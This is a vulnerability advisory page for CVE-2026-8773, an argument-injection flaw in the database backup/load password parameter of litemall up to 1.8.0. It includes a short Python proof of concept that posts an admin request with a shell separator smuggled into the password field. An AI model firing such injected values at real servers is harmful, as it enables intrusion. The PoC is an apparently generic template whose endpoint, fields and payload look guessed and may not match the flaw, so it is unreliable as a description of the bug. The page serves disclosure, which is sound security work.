CVE-2026-8773

Description

A security vulnerability has been detected in linlinjava litemall up to 1.8.0. Affected by this vulnerability is the function backup/load of the file litemall-db/src/main/java/org/linlinjava/litemall/db/util/DbUtil.java of the component Database Setting Handler. The manipulation of the argument db/password leads to argument injection. The attack is possible to be carried out remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

4.7

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

linlinjava litemall <= 1.8.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# PoC for CVE-2026-8773
# Target: linlinjava litemall <= 1.8.0
# Description: Argument Injection via db/password parameter

target_url = "http://target-host:port/admin/db/backup"

# Attacker needs High Privileges (PR:H)
cookies = {
    "token": "valid_admin_session_token"
}

# Malicious payload injection in the password field
# Example payload might include command separators or specific arguments
payload = "valid_password && injected_command"

data = {
    "db/host": "localhost",
    "db/port": "3306",
    "db/name": "litemall",
    "db/username": "root",
    "db/password": payload
}

response = requests.post(target_url, data=data, cookies=cookies)

if response.status_code == 200:
    print("[+] Payload sent successfully. Check server response for confirmation.")
else:
    print("[-] Request failed.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8773
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8773
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8773/
[4] VulDB https://vuldb.com/cve/CVE-2026-8773
[5] https://gist.github.com/A1AAAAAAAAAA1/d5ae30a17744459e7cc5902fff32a35b
[6] https://vuldb.com/submit/811469
[7] https://vuldb.com/vuln/364398
[8] https://vuldb.com/vuln/364398/cti

Raw JSON Data

JSON

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